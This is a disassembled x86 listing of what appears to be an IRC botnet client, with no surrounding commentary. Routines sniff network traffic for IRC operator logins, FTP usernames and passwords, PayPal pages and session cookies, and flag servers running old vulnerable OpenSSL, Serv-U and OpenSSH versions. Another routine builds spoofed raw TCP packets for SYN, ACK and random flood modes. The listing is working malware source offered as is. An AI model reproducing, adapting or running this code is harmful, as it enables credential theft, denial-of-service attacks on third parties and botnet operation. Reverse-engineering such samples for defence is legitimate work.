		dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022DDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
		dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 2DDE4FE8h, 0BB539002h, 434EB0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
		dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2DDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435A98
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A64
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A30
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359FC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359C4


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43598C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228E11Fh
		db 50h,	0E8h, 52h
		db 8Eh			; DATA XREF: Themida_:0054AC93o
		dd 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh,	0FDF4858Dh
		dd 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h,	8D5014C4h
		dd 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh, 0F4858D50h
		dd 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh,	858D14C4h
		dd 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h, 0FF8915E8h
		dd 565959FFh, 2DD4FBE8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27A0B19h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
